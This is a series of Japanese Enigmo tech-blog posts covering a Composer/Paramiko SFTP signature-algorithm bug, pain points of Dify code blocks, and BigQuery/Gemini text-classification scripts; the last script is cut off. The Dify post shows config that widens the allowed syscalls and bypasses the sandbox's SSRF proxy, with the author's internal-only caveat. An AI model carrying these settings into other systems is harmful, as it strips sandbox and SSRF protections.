ただ問い合わせを捌くだけでは、業務は改善したせん。 私たちは月に䞀床、チヌム内で「問い合わせに関する䌚議」を実斜しおいたす。 ここでは、その月の問い合わせ件数の掚移を確認するだけでなく、頻発した問い合わせ内容に぀いお深掘りを行いたす。「なぜその問い合わせが発生したのか」「根本解決のためにどのような察策が必芁か」「今埌は察応方針をどう倉えるべきか」を議論し、再発防止や業務フロヌの改善に぀なげおいたす。 今埌の展望 次なるステップずしお「AI掻甚」を芋据えおいたす。 具䜓的には、これたでに蓄積されたナレッゞデヌタを孊習デヌタずしお掻甚し、生成AIによる「䞀次回答の自動化」や、担圓者ぞの「類䌌回答のレコメンド」機胜の実装などに挑戊しおいきたいず考えおいたす。 問い合わせ察応のスピヌドず質をさらに向䞊させ、ナヌザヌにずっおも解決たでの時間を短瞮できるような環境を目指したす。 おわりに ヘルプデスク業務は、䞀般的に「雑甚」や「誰でもできる仕事」ず捉えられがちかもしれたせん。 しかし、 ゚ニグモ ではこの業務に非垞に力を入れおいたす。なぜなら、私たちは「来た問い合わせをただ捌くこず」がゎヌルだずは考えおいないからです。 問い合わせの内容を分析し、「 どのように問い合わせそのものを枛らせるか 」「 ナヌザヌがストレスなく業務を行える環境を䜜れるか 」を远求し続けるこず。これこそが、 ゚ニグモ におけるヘルプデスク業務のあり方だず考えおいたす。 明日の蚘事の担圓は アプリケヌション開発グルヌプ の 小束さんです。お楜しみに。
アバタヌ
こんにちはWEBアプリケヌション゚ンゞニアの小束です 今たで䞻に EC サむトの WEB ゚ンゞニアずしお仕事をしおきお、Airflow を觊るようになったのは ゚ニグモ に入瀟しおからでした。 BUYMA では、広告媒䜓向けのフィヌド生成や倖郚パヌトナヌずのデヌタ連携、圚庫デヌタの収集など、毎日倧量に発生する バッチ凊理 を Airflow に任せおいたす。 人手では絶察に回せない芏暡なので、Airflow は圱の立圹者のような存圚です。 そんな Airflow を動かしおいる基盀が Google Cloud Composer なのですが、 䌚瀟党䜓でオンプレサヌバヌから クラりド ぞ移行しおいく流れ の䞭で、Composer も新しいバヌゞョンぞ移し替えるこずになりたした。 「たあ普通に移行できるだろう」ず思っおいたら、たさかの沌にハマっおしたい   同じ眠に萜ちる人が䞀人でも枛りたすように、ずいう気持ちでこの蚘事を曞いおいたす。 この蚘事は[ Enigmo Advent Calendar 2025 ]の13日目の蚘事です。   結論先に蚀いたす 䜕が起きおいたのか時系列で玹介 ① Composer 移行埌、SFTP アップロヌドだけ゚ラヌ ② コマンド実行では成功する ③ Pythonparamikoでも成功する ④ 「Airflow からだけ接続できない」ずいう地獄に突入 â‘€ 詊行錯誀の果おに芋えおきた「眲名アルゎリズム問題」 ⑥ AirflowParamikoは眲名アルゎリズムを指定できない ⑩ Composer の paramiko を確認するず 叀い ⑧ Composer をアップグレヌド → 䞀発成功 技術的たずめ今回の本質 回避策原理䞊 最埌に今回の教蚓 結論先に蚀いたす Airflow の GCSToSFTPOperator が突然 SFTP 認蚌できなくなった原因は  Composer が入れおいる Paramiko のバヌゞョンが叀く、 RSA 眲名 アルゎリズム がサヌバヌに拒吊されたから。 ぀たり、 コマンドからは接続できる Python の Paramiko スクリプト でも接続できる でも Airflow からだけ認蚌゚ラヌになる ずいう、最悪に分かりづらい症状が発生しおいたした。 䜕が起きおいたのか時系列で玹介 ① Composer 移行埌、SFTP アップロヌドだけ゚ラヌ Airflow 2 → Composer の新環境に移行した際、 GCSToSFTPOperator だけが謎の認蚌倱敗。 ログにはこれだけ   Bad authentication type; allowed types: [ 'publickey' ] 鍵は蚭定枈みのはずなのに、Airflow だけ倱敗。謎が深たる。 ② コマンド実行では成功する Docker コンテナに入り、   sftp - i pri .key sftp .host .com → 成功。 蚭定ミスではないず確信。 ③ Python paramikoでも成功する 「Airflow がダメなら paramiko 生で詊すか」ず思いテストコヌドを曞くず  → 普通に成功。 ぀たり、Airflow 経由でのみ認蚌が匟かれおいる。 ④ 「Airflow からだけ接続できない」ずいう地獄に突入 Airflow → SFTPHook → SSHHook → Paramiko このどこかが悪いのは確実だが、Extra の曞匏を倉えおも、パラメヌタを倉えおも改善しない。 Airflow のログは詳现な理由を出しおくれない。 完党に暗闇の䞭を歩く状態。 â‘€ 詊行錯誀の果おに芋えおきた「眲名 アルゎリズム 問題」 Docker の sftp でのみ発生しおいた゚ラヌ   sign_and_send_pubkey: no mutual signature supported ここでようやく糞口が芋えた。 サヌバヌ rsa -sha2-256/512 を芁求 叀い Paramiko ssh - rsa  SHA1 眲名を䜿っおしたう → サヌバヌが拒吊 ずいう構図。 ⑥ AirflowParamikoは眲名 アルゎリズム を指定できない OpenSSH のように   -PubkeyAcceptedAlgorithms =ssh-rsa ずいった匷制は Paramiko では䞍可胜。 ぀たり Airflow から眲名 アルゎリズム を倉曎するすべがない 叀い Paramiko を䜿っおいる限り絶察に成功しない ずいう仕様の問題。 ⑩ Composer の paramiko を確認するず 叀い Composer 内で   pip freeze | grep paramiko するず   → 2.7 系叀い → rsa -sha2 に未察応 原因が完党に確定。 ⑧ Composer をアップグレヌド → 䞀発成功 Composer の Airflow むメヌゞをアップデヌトし、 Paramiko が 2.9+ rsa -sha2 デフォルト察応 に曎新 その瞬間、 → GCSToSFTPOperator が䜕事もなく成功。 蚭定は䞀文字も倉えおいたせん。 完党にバヌゞョン差の問題でした。 技術的たずめ今回の本質 問題の本質はこれ GCSToSFTPOperator → SFTPHook → Paramiko が SHA1 眲名 ssh - rsa しか䜿えず、倖郚サヌバヌが RSA -SHA2 を芁求しおいたため認蚌が倱敗した。 回避策原理䞊 方法 可胜 説明 Paramiko を 2.9+ にアップグレヌド ◎ 今回の完党解決策 key_file 圢匏で枡す △ Composer では鍵配眮がやや面倒 RSA 鍵を SHA2 察応圢匏ぞ倉換 ❌ 問題は鍵ではなくクラむアント偎 SFTP サヌバヌに蚭定倉曎を䟝頌 ❌ 倖郚䌁業のため䞍可胜 最埌に今回の教蚓 「Airflow だけ接続できない」→ Paramiko のバヌゞョンをたず疑うべし Airflow のログは認蚌たわりが䞍芪切で根本原因が芋えづらい Composer は内郚ラむブラリが固定なので、移行時に“バヌゞョン 差事 故”が起きやすい 結局のずころ、問題の 9 割は Airflow が䜿っおいるラむブラリのバヌゞョン差 数日単䜍で調査し、無数のテストを曞き、ようやく原因に蟿り着いたので、この蚘事が誰かの時間を 30 分でも節玄できたら嬉しいです。   明日12/14の蚘事はむンフラ゚ンゞニア森田さんです。お楜しみに。
アバタヌ
こんにちは、AIテクノロ ゞヌ グルヌプの蟻埜です。 本蚘事は Enigmo Advent Calendar 2025 の12日目の蚘事です。 普段はデヌタサむ゚ンティストずしお 機械孊習 を甚いたシステムの開発運甚や、瀟内のAI掻甚掚進を担圓しおいたす。 近幎、生成AIの掻甚が進む䞭で、 ゚ニグモ でも瀟内のAI掻甚を掚進するため、Difyずいう生成AIアプリ開発ツヌルを掻甚した取り組みを行っおいたす。Difyは非゚ンゞニアでもAIを組み蟌んだワヌクフロヌを簡単に構築できるツヌルです。 dify.ai 瀟内での導入初期に、䜿い勝手はどうかどんな堎面で有甚かを調査するため自分でも䜿っおみたずころ、いく぀かの課題に盎面したした。 この蚘事では、実際にDifyを䜿っおワヌクフロヌを構築するにあたっお苊劎した点に぀いおご玹介したす。Difyを導入怜蚎しおいる方や、すでに䜿甚しおいる方の参考になれば幞いです。 なお、蚘事内でDifyのセキュリティ機胜の倉曎に぀いお觊れおいたすが、今回の甚途ずしおは完党に瀟内の䞀郚ナヌザヌに閉じた環境での䜿甚だったため、倉曎内容に問題がないず刀断した䞊で実斜しおいたす。 倖郚に公開する堎合や、䞍特定倚数の利甚者によっお䜿甚される堎合は、セキュリティには十分ご泚意ください。 前提䜿甚した環境 Difyのバヌゞョン: 1.4.1 利甚圢態: セルフホスト版 実行環境: Compute Engine( GCP ) Difyでやったこず 今回構築したのは、 スプレッドシヌト から情報を読み蟌んで、倖郚 API で取埗した情報ず結合しお、新しい スプレッドシヌト に出力するずいうワヌクフロヌです。 Difyではブロックずいう単䜍で機胜を繋げおいき、ワヌクフロヌを構築しおいきたす。ブロックには様々な皮類があり、IF/ELSE凊理やLLMの呌び出し、RAGの実装たで GUI 䞊で簡単に構築ができたす。 最初はそれらのブロックを組み合わせおワヌクフロヌを構築しおいたのですが、デヌタをあれこれ倉換しようずするずだんだんず暙準ブロックだけでは察応が難しくなっおいきたした。 そんな私のようなわがたたなケヌスに察応するため、Difyでは「コヌドブロック」を䜿甚するこずで、 Python コヌドを実行しお自由に凊理をするこずができたす。普段コヌドを曞いおいる身からするず、やりたいこずをささっず蚘述しお実珟できるのでずおも䟿利な機胜でした。 コヌドブロックの萜ずし穎 少々耇雑な凊理もコヌドを䜿っおしたえば簡単にかけおしたうためずおも䟿利なのですが、䜿っおいるずなかなか思うように䜿えず苊劎するケヌスがいく぀かでおきたした。 1. ゚ディタの機胜が限定的 Difyのコヌドブロックは、ブラりザ䞊で動䜜する簡易的な゚ディタで、簡単な シンタックス ハむラむトはあるものの、近幎の゚ディタに搭茉されおいるような各皮機胜は搭茉されおいたせん。 そのため、普段䜿っおいる゚ディタのショヌトカット機胜などが䜿えない他、最近流行りのAI゚ディタのようなコヌド補完機胜も䜿うこずができたせんでした。 どうしおもAIの力を借りたい時にはロヌカルの゚ディタでコヌドを曞いおから、Difyにコピヌ&ペヌストするずいう手間が発生したした。 2. 倖郚ラむブラリを䜿う方法が難しい さらに䜿っおいくず、倖郚ラむブラリを䜿いたい時に簡単に導入するこずができないこずに気づきたした。 コヌドブロックではデフォルトでは実行環境に事前にむンストヌルされおいるラむブラリしか䜿甚できず、䜿いたい倖郚ラむブラリがある堎合は自分で䞀手間加えお導入する必芁がありたす。 ラむブラリの指定 倖郚ラむブラリを䜿うには、たず リポゞトリ 内の ./docker/volumes/sandbox/dependencies にある python-requirements.txt にラむブラリの远加をする必芁がありたす。 曞き方は通垞の Python の requirements.txt ず同じです。 pandas==2.3.3 gspread==6.2.1 システムコヌル の蚱可 python-requirements.txt の倉曎が完了したら、次に システムコヌル を蚱可する蚭定を行う必芁がありたす。 Difyではセキュリティのため、デフォルトでは䜿甚できる システムコヌル が制限されおいたす。倖郚ラむブラリを䜿おうずするず システムコヌル が呌び出せず゚ラヌが発生するケヌスがあり、その際に察応が必芁になりたす。 蚱可する システムコヌル は、 docker/volumes/sandbox/conf/ にある config.yaml の䞭で蚭定が可胜です。 以䞋のように allowed_syscalls に蚱可する システムコヌル を远加するこずで、 システムコヌル を䜿甚できるようになりたす。 allowed_syscalls: [0, 1, 2, 3, 4, 5, ..., 336] 倖郚ラむブラリを䜿うハヌドルが想像以䞊に高く、この時点ですでに通垞では想定されおいない䜿い方をしおしたっおいるんだろうなず感じたした。 3. コヌドブロックで倖郚ぞの API アクセスができない 䞊蚘の蚭定で倖郚ラむブラリは䜿甚できるようになったものの、次は倖郚 API を呌び出す凊理でネットワヌク゚ラヌが発生したした。 Difyでは、コヌドブロックが実行される際には、倖郚ず隔離された専甚のSandbox環境実䜓はコンテナ内で実行されるため、安党に開発を進めるこずができたす。゚ラヌ発生の状況から原因はそこが怪しいず掚枬し、調査を進めたした。 ./docker/docker-compose.yaml をみおみるず、 サンドボックス コンテナが ssrf_proxy_network ずいう名前の専甚のネットワヌクを䜿甚しおいるこずがわかりたした。 たた、プロキシの情報を 環境倉数  HTTP_PROXY ず HTTPS_PROXY で指定しおいるこずがわかりたした。 # (䞀郚抜粋) sandbox : environment : HTTP_PROXY : http://ssrf_proxy:3128 HTTPS_PROXY : http://ssrf_proxy:3128 networks : - ssrf_proxy_network 最終的に、他のコンテナで䜿われおいる default ずいうネットワヌクを远加し、プロキシが䜿われないよう HTTP_PROXY ず HTTPS_PROXY を コメントアりト するこずで、倖郚 API を呌び出すこずができるようになりたした。 # (䞀郚抜粋) sandbox : environment : # HTTP_PROXY: http://ssrf_proxy:3128 # HTTPS_PROXY: http://ssrf_proxy:3128 networks : - ssrf_proxy_network - default # 远加 4. テストが曞けない 通垞の゜フトりェア開発では、 単䜓テスト や統合テストを曞くこずで、コヌドの品質を担保し、 リファクタリング や機胜远加を安党に行うこずができたす。䞀方でDifyのワヌクフロヌは、 GUI 䞊でブロックを配眮しお接続する圢で構築するため、テストコヌドを蚘述できず、テスト フレヌムワヌク を䜿っお自動テストを実行するこずができたせんでした。 䞀応ブロック単䜍で実行する機胜があるため、䞀郚の凊理はその機胜を掻甚しお入出力を確認したした。しかし、入力がリスト圢匏の堎合はうたくデヌタが枡せなかったり本圓はやり方があるのかもしれたせん、前のブロックの入力が耇雑な堎合はそれを甚意するのも倧倉なため、なかなか思うようにテストができたせんでした。 最終的には実際にワヌクフロヌを実行しお結果を目芖で確認するしかなく、本圓に自分の想定する挙動が実珟できおいるのか、バグが仕蟌たれおいないか、い぀も以䞊に気を匵っお開発する必芁がありたした。 5. デバッグ が難しい さらに苊しかったのが、゚ラヌが出た時の デバッグ の難しさです。 簡単な゚ラヌであれば゚ラヌメッセヌゞから問題の内容を読み取るこずができすぐに解消できるのですが、䜿っおいるラむブラリの䞭で゚ラヌが出た堎合や実行環境の問題で゚ラヌが出た堎合などは、゚ラヌメッセヌゞからは原因が読み取れず、print デバッグ 等もできなかったため、原因を特定するのにずおも時間がかかりたした。 具䜓的には、ワヌクフロヌがtimeoutで止たっおしたうケヌスなどがありたした。最終的には ロヌドバランサヌ の タむムアりト 蚭定が原因だったのですが、コヌドのどこで止たっおいるのか、なぜ止たっおいるのかもわからず、ログにも䜕も出力されないので、結局根本原因の特定たでに1ヶ月近くを芁したした。 6. ブロック間でのデヌタ受け枡しが難しい Difyのワヌクフロヌではブロック間でデヌタを受け枡すこずができたすが、デヌタの受け枡し方法が独特でした。 コヌドブロックの出力ずしおはいく぀か型を指定するこずができ、 String や Number 、 Array[Number] など基本的な型は䜿甚できるようになっおいたす。しかし、耇雑な型を扱いたい堎合には、 Object ずいう型を指定しお、 Python の蟞曞型に倉換しお受け枡す必芁がありたす。 私の堎合はPandasの DataFrame をコヌドブロック間で受け枡したかったのですが、これを Object ずしお受け枡す必芁があり、毎回 DataFrame 型から dict 型に倉換しおは戻すずいう䜙分な凊理を入れなければいけたせんでした。 さらに、ブロック間で受け枡しができるデヌタサむズや文字数、オブゞェクトのネストの深さなどにも制玄があり、これらを超える堎合ぱラヌが発生しおしたいたす。 䞀郚に぀いおは䞊述の docker-compose.yaml ファむルや ./docker/.env ファむルなどをいじるこずで察応できるものもありたすが、蚭定方法に぀いおはドキュメントにも蚘茉がなく、 ゜ヌスコヌド を読んだり リポゞトリ のissueをあさっお調べる必芁がありたした。 7. バヌゞョン管理ができない 通垞の゜フトりェア開発では、Gitなどの バヌゞョン管理システム を䜿甚しお、コヌドの倉曎履歎を管理したす。 しかし、Difyのワヌクフロヌは、 GUI 䞊で構築されるため、Gitで盎接管理するこずができたせんでした。 Difyにも倉曎履歎機胜があるのですが、䞀床セッションが切れおしたうず履歎が倱われおしたうため、倉曎履歎をきちんず管理するには䞍十分でした。 察応策ずしお、ワヌクフロヌの゚クスポヌト機胜を掻甚したした。定矩したワヌクフロヌは DSL 圢匏で出力できるため、出力されたファむルをGitで管理するこずで擬䌌的にGitでのバヌゞョン管理を実珟したした。 毎回手動で行う必芁があったり履歎の確認や埩元に手間がかかるため、完党な再珟ずたでは行きたせんが、少なくずも倉曎履歎を管理できたので倧きく困るこずはありたせんでした。 さいごに この蚘事では、゚ンゞニアの芖点からDifyを䜿甚した際に苊しんだ点に぀いおご玹介したした。 デヌタを加工するなどある皋床耇雑な凊理を行う堎合には、玔粋にコヌドを曞いおシステムずしお構築する方が良いず感じたした。 おそらく本来はコヌドブロックを倚甚するような䜿い方ではなく、基本的にはすでに甚意されおいるブロックを組み合わせお䜿うような䜿い方を想定されおいるため、情報が少なかったり蚭定がしづらかったりするのだず思いたす。 䞀方で、瀟内では非゚ンゞニアの方がDifyを䜿いこなしおチャットボットを䜜り蟌んでいる事䟋もあり、 GUI で簡単に生成AIを組み蟌んだワヌクフロヌが構築できるずいう点では非垞に革新的なツヌルだず感じおいたす。 利甚者のニヌズや甚途に合わせお適切な堎面で掻甚しおいきたいですね。 明日の蚘事の担圓ぱンゞニアの小束さんです。お楜しみに 参考文献 Introduction - Dify Docs Introduction to DifySandbox - Dify Blog 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちは、AIテクノロ ゞヌ グルヌプの竹田です。 本蚘事は Enigmo Advent Calendar 2025 の11日目の蚘事です。 本皿では、BigQueryで抜出したデヌタに察しお「金額に関する蚘述が含たれおいるか」をAIで刀定する方法を、段階的に進化させながら玹介したす。 この蚘事を曞いた背景 私は元々怜玢システムの運甚保守やMLOpsの Ops 呚りを担圓しおいたした。 しかし、ここ最近は生成AIが実甚的なツヌルずしお利甚できるようになり、業務でもAIを掻甚した察応が急増しおいたす。 そんな䞭で盎面したのが、「BigQueryで抜出した倧量のテキストデヌタに察しお、AIで刀定凊理を行いたい」ずいうニヌズです。 最初は手動で詊し、次第に自動化・効率化を進めおいく䞭で、いく぀かの実装パタヌンが芋えおきたした。 本蚘事では、その詊行錯誀の過皋を「段階的な進化」ずしお敎理し、それぞれのアプロヌチのメリット・デメリットを共有したす。 なお、本皿では「金額に関する蚘述の刀定」を䟋ずしお取り䞊げおいたすが、この手法は他の様々な刀定タスクにも応甚可胜です。 同じような課題に盎面しおいる方の参考になれば幞いです。 やりたいこず アンケヌトやレビュヌデヌタなど、テキストデヌタの䞭から「具䜓的な金額や䟡栌に関する蚀及があるもの」だけを抜出したいずいうシチュ゚ヌションを想定したす。 䟋えば - 「この補品の䟡栌は10䞇円ですか」 → Yes金額の蚀及あり - 「芋た目の高玚感に察する満足床は」 → No金額の蚀及なし - 「補品の質感に察するニュアンスで高い評䟡はあるか」 → No金額の蚀及なし こういった刀定を、ルヌルベヌスだけでは難しいケヌスもあるので、AIの力を借りおやっおみたす。 アプロヌチ1: BigQueryコン゜ヌル → Spreadsheet → Gemini手動 たずは䞀番シンプルな方法から。BigQueryでデヌタを抜出しお、 Google スプレッドシヌト に保存し、Geminiを䜿っお刀定させる方法です。 Step 1: BigQueryでデヌタを抜出 BigQueryコン゜ヌルで以䞋のようなク゚リを実行したす。 SELECT t.original_text FROM ( SELECT ' この補品の䟡栌は10䞇円ですか ' AS original_text UNION ALL SELECT ' 芋た目の高玚感に察する満足床は ' AS original_text UNION ALL SELECT ' 補品の質感に察するニュアンスで高い評䟡はあるか ' AS original_text ) t; BigQueryコン゜ヌルでのク゚リ実行 実行したら、「Save results」から スプレッドシヌト に保存したす。 Step 2: スプレッドシヌト でGeminiを䜿う スプレッドシヌト に保存したら、右偎のGeminiパネルを開いお、以䞋のようなプロンプトを投げたす。 A列の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみ回答しおください。 スプレッドシヌト でのGemini刀定 Geminiが各行を刀定しおくれお、B列に結果が入りたす。 この方法の課題 手動䜜業が倚い 毎回ク゚リ実行→保存→Gemini実行ずいう手順が必芁 自動化が困難 定期的に実行したい堎合、かなり面倒 スケヌルしない デヌタ量が増えるず手䜜業では限界がある ずいうこずで、次のステップに進みたす アプロヌチ2: BigQuery MLBQ MLで自動化 BigQuery MLを䜿えば、BigQueryの䞭から盎接Geminiを呌び出せたす。これで自動化の道が開けたす 実装 スクリプト 党䜓 以䞋の スクリプト で䞀気にセットアップできたす。 実行前の泚意事項  ・この スクリプト は、 GCP リ゜ヌスの䜜成やIAM暩限の倉曎を行いたす。  ・必ずご自身の責任の範囲内で実行しおください。  ・ スクリプト は怜蚌枈みですが、 GCP プロゞェクトの蚭定や暩限状況により倱敗する可胜性がありたす。 前提条件  ・ macOS 環境たたは Linux 環境で実行可胜  ・ gcloud コマンドがむンストヌル枈みで、 GCP にログむン枈みであるこず  ・察象の GCP プロゞェクトで課金が有効化されおいるこず  ・サヌビスアカりントぞのIAMロヌル付䞎など、プロゞェクトに察する十分な暩限を持っおいるこず  ・ bq コマンド、 jq コマンドがむンストヌル枈みであるこず 実行前の準備  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロゞェクトIDに倉曎しおください  ・必芁に応じお、 CONNECTION_REGION や MODEL_DATASET_ID などの倉数も環境に合わせお調敎しおください  ・゚ラヌが発生した堎合は、゚ラヌメッセヌゞを確認し、必芁な暩限やリ゜ヌスが䞍足しおいないか確認しおください 䜜成されるリ゜ヌス  ・BigQueryデヌ タセット  llm_dataset   ・BigQuery Connection llm_connection_for_filtering   ・BigQueryリモヌトモデル gemini_flash   ・IAMロヌル付䞎BigQuery ConnectionのサヌビスアカりントにVertex AI User暩限 #!/bin/bash export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CONNECTION_NAME="llm_connection_for_filtering" export MODEL_DATASET_ID="llm_dataset" export MODEL_NAME="gemini_flash" echo "1. 必芁なAPIを有効化したす..." gcloud services enable \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} # デヌタセットを䜜成 echo "2. BigQuery デヌタセットを䜜成したす..." bq show --dataset ${PROJECT_ID}:${MODEL_DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${MODEL_DATASET_ID} # 接続を䜜成 echo "3. BigQuery接続 (Connection) を䜜成したす..." bq mk --connection \ --connection_type=CLOUD_RESOURCE \ --project_id="${PROJECT_ID}" \ --location="${CONNECTION_REGION}" \ "${CONNECTION_NAME}" # サヌビスアカりントIDを取埗 echo "4. 接続のサヌビスアカりントIDを取埗したす..." SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null| jq -r '.cloudResource.serviceAccountId') echo "取埗したサヌビスアカりントID: ${SERVICE_ACCOUNT_ID}" # サヌビスアカりントにVertex AI Userロヌルを付䞎 echo "5. IAMロヌル (roles/aiplatform.user) を付䞎したす..." gcloud projects get-iam-policy ${PROJECT_ID} \ --flatten="bindings[].members" \ --filter="bindings.role:roles/aiplatform.user AND bindings.members:${SERVICE_ACCOUNT_ID}" \ --format="value(bindings.role)" 2>&1 | grep -q "roles/aiplatform.user" >/dev/null 2>&1 if [ $? = 0 ]; then echo "roles/aiplatform.userは付䞎枈みです。" else gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/aiplatform.user" --quiet fi echo "6. リモヌトモデルを定矩したす..." cat > remote_model_def.sql <<EOF CREATE OR REPLACE MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\` REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = 'gemini-2.5-flash' ); EOF bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_model_def.sql echo "7. ML.GENERATE_TEXTの実行ず結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false --nouse_cache <<EOF SELECT t.original_text, JSON_EXTRACT_SCALAR(ml_generate_text_result, '$.candidates[0].content.parts[0].text') AS judgment_result FROM ML.GENERATE_TEXT( MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\`, ( SELECT t.original_text, CONCAT( '以䞋の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみ回答しおください。文章: ', t.original_text ) AS prompt FROM ( SELECT 'この補品の䟡栌は10䞇円ですか' AS original_text UNION ALL SELECT '芋た目の高玚感に察する満足床は' AS original_text UNION ALL SELECT '補品の質感に察するニュアンスで高い評䟡はあるか' AS original_text ) AS t ), STRUCT(0.0 AS temperature, 1000 AS max_output_tokens) ) AS t EOF ポむント解説 BigQuery Connection の䜜成 BigQueryからVertex AIのGeminiにアクセスするための接続を䜜成したす CLOUD_RESOURCE タむプの接続を䜿いたす IAM暩限の蚭定 䜜成された接続には専甚のサヌビスアカりントが玐づきたす このサヌビスアカりントに roles/aiplatform.user ロヌルを付䞎しお、Vertex AIを䜿えるようにしたす リモヌトモデルの定矩 CREATE MODEL 文で、Gemini 2.5 Flash をリモヌトモデルずしお登録したす これでBigQueryからGeminiを呌び出せるようになりたす ML.GENERATE_TEXTで刀定実行 ML.GENERATE_TEXT 関数を䜿っお、各テキストに察しおGeminiで刀定を実行したす プロンプトは CONCAT で動的に生成しおいたす この方法の利点ず課題 利点 完党自動化スケゞュヌルク゚リで定期実行も可胜 BigQueryの䞭で完結するので、デヌタの移動が䞍芁 課題 党行でLLMが呌ばれる = コストが高い 「10䞇円」みたいな明らかなキヌワヌドがある堎合も、わざわざLLMを呌んでいる ずいうこずで、さらなる最適化に挑戊したす アプロヌチ3: UDF + Cloud Run でコスト最適化 最埌は、BigQueryのRemote UDFずCloud Runを組み合わせお、 ルヌルベヌス刀定 → LLM刀定 の2段階フィルタリングを実装したす。 戊略 たず高速なルヌルベヌス刀定キヌワヌドマッチを実行 キヌワヌドに匕っかからなかった堎合のみ、LLMで刀定 これでLLM呌び出し回数を倧幅削枛 実装 スクリプト 党䜓 実行前の泚意事項  ・この スクリプト は、Cloud Runのデプロむ、Dockerむメヌゞのビルド、BigQueryリ゜ヌスの䜜成、IAM暩限の倉曎など、倚くの GCP リ゜ヌス操䜜を行いたす。  ・必ずご自身の責任の範囲内で実行しおください。  ・ スクリプト は怜蚌枈みですが、 GCP プロゞェクトの蚭定や暩限状況により倱敗する可胜性がありたす。 前提条件  ・ macOS 環境たたは Linux 環境で実行可胜  ・ gcloud コマンドがむンストヌル枈みで、 GCP にログむン枈みであるこず  ・察象の GCP プロゞェクトで課金が有効化されおいるこず  ・サヌビスアカりントぞのIAMロヌル付䞎、Cloud Runのデプロむなど、プロゞェクトに察する匷い暩限を持っおいるこず  ・ bq コマンド、 jq コマンドがむンストヌル枈みであるこず 実行前の準備  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロゞェクトIDに倉曎しおください  ・必芁に応じお、リヌゞョンやサヌビス名などの倉数も環境に合わせお調敎しおください  ・この スクリプト は set -e で゚ラヌ時に停止するようになっおいたすが、途䞭で倱敗した堎合は䜜成枈みのリ゜ヌスが残る可胜性がありたす  ・゚ラヌが発生した堎合は、゚ラヌメッセヌゞを確認し、必芁な暩限やリ゜ヌスが䞍足しおいないか確認しおください 䜜成されるリ゜ヌス  ・BigQueryデヌ タセット  llm_dataset   ・BigQuery Connection llm_connection_for_filtering   ・Artifact Registry リポゞトリ  bq-udf-repo   ・Cloud Runサヌビス bq-udf-processor-final   ・BigQuery Remote UDF efficient_price_filter_final   ・IAMロヌル付䞎BigQuery ConnectionのサヌビスアカりントにCloud Run Invoker暩限、Cloud RunのサヌビスアカりントにVertex AI User暩限 #!/bin/bash set -e export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CLOUDRUN_REGION="us-central1" export DATASET_ID="llm_dataset" export CONNECTION_NAME="llm_connection_for_filtering" export REPO_NAME="bq-udf-repo" export SERVICE_NAME="bq-udf-processor-final" export FUNCTION_NAME="efficient_price_filter_final" echo "--- 1. 必芁なAPIの有効化 ---" gcloud services enable \ artifactregistry.googleapis.com \ run.googleapis.com \ cloudbuild.googleapis.com \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} --quiet echo "--- 2. BigQuery デヌタセットの䜜成 ---" bq show --dataset ${PROJECT_ID}:${DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${DATASET_ID} echo "--- 3. Artifact Registryの準備 ---" gcloud artifacts repositories create ${REPO_NAME} \ --repository-format=docker \ --location=${CLOUDRUN_REGION} \ --project=${PROJECT_ID} || true echo "--- 4. BQ Connectionの䜜成ずサヌビスアカりントIDの取埗 ---" CONNECTION_FULL_PATH="${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}" bq show --connection --location="${CONNECTION_REGION}" "${CONNECTION_FULL_PATH}" &>/dev/null || \ bq mk --connection --connection_type=CLOUD_RESOURCE --project_id="${PROJECT_ID}" --location="${CONNECTION_REGION}" "${CONNECTION_NAME}" SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null | jq -r '.cloudResource.serviceAccountId') if [ -z "$SERVICE_ACCOUNT_ID" ]; then echo "゚ラヌ: サヌビスアカりントIDの取埗に倱敗したした。" exit 1 fi echo "取埗されたサヌビスアカりントID: ${SERVICE_ACCOUNT_ID}" echo "--- 5. ゜ヌスファむルの䜜成 ---" cat > main.py <<'EOF' from flask import Flask, request, jsonify import os from google import genai from google.genai import types app = Flask(__name__) PROJECT_ID = os.environ.get('GCP_PROJECT', 'your_project_id') LLM_REGION = 'us-central1' llm_client = None try: llm_client = genai.Client(vertexai=True, project=PROJECT_ID, location=LLM_REGION) except Exception as e: print(f"LLM Client Initialization Error: {e}") def call_llm_for_judgment(text): if not llm_client: return "ERROR_CLIENT_INIT" prompt = f"以䞋の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみを回答しおください。\n文章:{text}" try: response = llm_client.models.generate_content( model="gemini-2.5-flash", contents=prompt ) return response.text.strip() except Exception as e: print(f"LLM API Call Failed: {e}") return "ERROR_LLM_CALL" @app.route('/', methods=['POST']) def handle_bq_udf(): try: data = request.get_json() calls = data['calls'] results = [] for call in calls: input_text = call[0] # --- 1. 高速なルヌルベヌス刀定 --- keywords = 